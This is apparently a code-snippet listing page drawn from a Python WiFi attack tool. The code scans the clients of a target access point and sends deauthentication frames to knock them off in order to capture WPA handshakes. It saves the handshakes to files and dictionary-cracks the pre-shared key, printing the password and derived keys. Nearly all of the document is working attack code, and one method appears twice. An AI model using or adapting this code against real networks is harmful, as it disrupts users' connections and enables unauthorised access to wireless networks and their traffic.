示例#1
0
	def clients_sniff(self, _bss, _ess, _ch, _tm):
		_clip = Sniper(self.iface, _bss, _ess, _ch, _tm, pull, V__)
		pull.info("Scanning for Access Point Stations. Press [CTRL+C] to Stop.")
		signal(SIGINT, _HANDLER)
		_clip.cl_generator()
		signal(SIGINT, grace_exit)
		return _clip.clients()
示例#2
0
    def d_h_crack(self, ap, timeout):
        global WRITE__

        y_h = False

        while not y_h:

            pull.up(
                'Locating Clients from AP to generate handshake. Sleeping for %d Seconds. '
                % timeout)
            self.sniper = Sniper(self.iface, ap['bssid'], ap['essid'],
                                 ap['channel'], timeout)
            self.sniper.cl_generator()
            cls__ = self.sniper.clients()
            pull.info('Clients Detected. Number of Connected Users: %d' %
                      len(cls__))

            if cls__:
                for tup in cls__:
                    if V__:
                        pull.up('Attempting to Dissociate %s from AP. Detected Range: %d'\
                           % (color.RED+tup[0].upper()+color.END, tup[1] if tup[1] != -999 else -1))
                    else:
                        pull.up('Attempting to Dissociate %s from Access Point.'\
                            % (color.RED+tup[0].upper()+color.END))
                    pkts__ = self.sniper.shoot(tup[0])
                    if V__:
                        pull.up('Checking For Valid Handshake b/w "%s" and "%s"'\
                            % (color.BOLD+ap['essid']+color.END, color.BOLD+tup[0].upper()+color.END))
                    if pkts__[0]:
                        y_h = not False
                        if V__:
                            pull.use('Handshake SucessFull. MAC: %s' %
                                     tup[0].upper())
                            pull.right('Vendor (AP): %s Vendor (Client): %s'\
                                % (org(ap['bssid']).org, org(tup[0]).org) )
                        else:
                            pull.use(
                                'Handshake Got Successful. Attempting to Save it. '
                            )
                        if WRITE__:
                            h_path = self.save_handshake(
                                pkts__[1], ap['bssid'])
                            if V__:
                                pull.info('Saved handshake in %s' % h_path)
                        if self.call_PSK(pkts__[1], ap['essid'], ap['auth']):
                            sys.exit(0)
                    else:
                        pull.error(
                            'No Handshake Found. Skippingg to Next Client ...')
                        time.sleep(2)
            else:
                pull.error(
                    'Sorry, but shutting Down. No connected users found in the target network.'
                )
                sys.exit(0)
示例#3
0
	def sniper_shoot(self, _bss, _ess, _ch, _clients, _tm, _deauth):
		pull.info("Time Interval [%s] -> Implies Gap b/w Frames is %d" % (pull.DARKCYAN+str(_tm)+pull.END, _tm))
		_snip = Sniper(self.iface, _bss, _ess, _ch, _tm, pull, V__)
		for _ap, _cls in _clients.items():
			if _ap == _bss:
				while not len(self.THEPOL) >= 4:
					for _cl, _pwr in _cls:
						if V__:
							pull.up("%i-> %s (%s) %s><%s %s (%s) %s[Deauthentication]%s" % (_deauth, _cl.replace(':', '').upper(), pull.DARKCYAN+org(_cl).org+pull.END,\
									pull.RED, pull.END, _bss.replace(':', '').upper(), pull.DARKCYAN+org(_bss).org+pull.END, pull.RED, pull.END))
						else:
							pull.up("%i-> %s %s><%s %s %s[Deauthentication]%s" % (_deauth, _cl.replace(':', '').upper(),\
									pull.RED, pull.END, _bss.replace(':', '').upper(), pull.RED, pull.END))
						_sht = threading.Thread(target=_snip.shoot, args=(_cl, _deauth, self), name="T Shooter")
						_sht.daemon = True
						_sht.start();
					time.sleep(_tm)
				pull.use("Handshake %s (%s) %s[Captured]%s" % (_bss.replace(':', '').upper(), pull.DARKCYAN+org(_bss).org+pull.END, \
																pull.GREEN, pull.END)); break
示例#4
0
class Phazer:
    def __init__(self, sniffer):
        self.iface = sniffer.iface1
        self.WiFiAP = sniffer.WiFiAP

    def count_input(self):
        while True:
            try:
                count = pull.question('Enter Your Target Number [q]uit/[n]: ')
                return count
            except:
                pass

    def get_input(self):
        while True:
            count = self.count_input()
            if count == 'q' or count == 'Q':
                sys.exit(0)
            for AP in self.WiFiAP:
                if str(AP['count']) == count:
                    return AP

    def call_PSK(self, eapol, essid, enc):
        self.psk = PSK(eapol, essid, enc, DICTIONARY, V__, _KEY_)
        pass__, _PMK_, _KCK_, _MIC_ = self.psk.broot()

        if pass__:
            pull.use('Found: %s' % pass__)

            if V__:
                pull.right('PMK: ')
                print _PMK_
                pull.right('KCK: ')
                print _KCK_
                pull.right('MIC: ')
                print _MIC_

            return True
        else:
            pull.error(
                "Sorry, but the Password is not in the dictionary. Try enlarging it. "
            )
            return False

    def discard_p_hand(self, bss):
        f_name = 'handshakes'
        filename = bss.replace(':', '').lower()
        if os.path.isfile(
                os.path.join(os.getcwd(), f_name, '%s.cap' % filename)):
            os.remove(os.path.join(os.getcwd(), f_name, '%s.cap' % filename))
            return 1
        else:
            return 0

    def verify_h_crack(self, bss):
        f_name = 'handshakes'
        tgt__ = bss.replace(':', '').lower()

        self.c_v_path(os.path.join(os.getcwd(), f_name))

        if not os.path.isfile(
                os.path.join(os.getcwd(), f_name, '%s.cap' % (tgt__))):
            return (False, None)
        else:
            return (True, os.path.join(os.getcwd(), f_name,
                                       '%s.cap' % (tgt__)))

    def h_crack(self, ap, p_to_h):
        if V__:
            pull.up('Reading Packets from Captured File: %s'\
                % p_to_h)
        pkts = rdpcap(p_to_h)
        gen = eAPoL(ap['bssid'])
        for pkt in pkts:
            comp__ = gen.check(pkt)
            if comp__:
                if V__:
                    pull.info('Valid Handshake Found. Manipulaing Data ...')
                    pull.right('AP Manufacturer: %s' % (org(ap['bssid']).org))
                break
        pols = gen.get_pols()
        self.call_PSK(pols, ap['essid'], ap['auth'])

    def d_h_crack(self, ap, timeout):
        global WRITE__

        y_h = False

        while not y_h:

            pull.up(
                'Locating Clients from AP to generate handshake. Sleeping for %d Seconds. '
                % timeout)
            self.sniper = Sniper(self.iface, ap['bssid'], ap['essid'],
                                 ap['channel'], timeout)
            self.sniper.cl_generator()
            cls__ = self.sniper.clients()
            pull.info('Clients Detected. Number of Connected Users: %d' %
                      len(cls__))

            if cls__:
                for tup in cls__:
                    if V__:
                        pull.up('Attempting to Dissociate %s from AP. Detected Range: %d'\
                           % (color.RED+tup[0].upper()+color.END, tup[1] if tup[1] != -999 else -1))
                    else:
                        pull.up('Attempting to Dissociate %s from Access Point.'\
                            % (color.RED+tup[0].upper()+color.END))
                    pkts__ = self.sniper.shoot(tup[0])
                    if V__:
                        pull.up('Checking For Valid Handshake b/w "%s" and "%s"'\
                            % (color.BOLD+ap['essid']+color.END, color.BOLD+tup[0].upper()+color.END))
                    if pkts__[0]:
                        y_h = not False
                        if V__:
                            pull.use('Handshake SucessFull. MAC: %s' %
                                     tup[0].upper())
                            pull.right('Vendor (AP): %s Vendor (Client): %s'\
                                % (org(ap['bssid']).org, org(tup[0]).org) )
                        else:
                            pull.use(
                                'Handshake Got Successful. Attempting to Save it. '
                            )
                        if WRITE__:
                            h_path = self.save_handshake(
                                pkts__[1], ap['bssid'])
                            if V__:
                                pull.info('Saved handshake in %s' % h_path)
                        if self.call_PSK(pkts__[1], ap['essid'], ap['auth']):
                            sys.exit(0)
                    else:
                        pull.error(
                            'No Handshake Found. Skippingg to Next Client ...')
                        time.sleep(2)
            else:
                pull.error(
                    'Sorry, but shutting Down. No connected users found in the target network.'
                )
                sys.exit(0)

    def save_handshake(self, pkts, bss):
        f_name = 'handshakes'
        fi_name = '%s.cap' % (bss.replace(':', '').lower())

        self.c_v_path(os.path.join(os.getcwd(), f_name))

        file__ = PcapWriter(os.path.join(os.getcwd(), f_name, fi_name),
                            append=True,
                            sync=True)
        for pkt in pkts:
            file__.write(pkt)
        file__.close()
        return os.path.join(os.getcwd(), f_name, fi_name)

    def c_v_path(self, directory):
        if not os.path.exists(directory):
            os.makedirs(directory)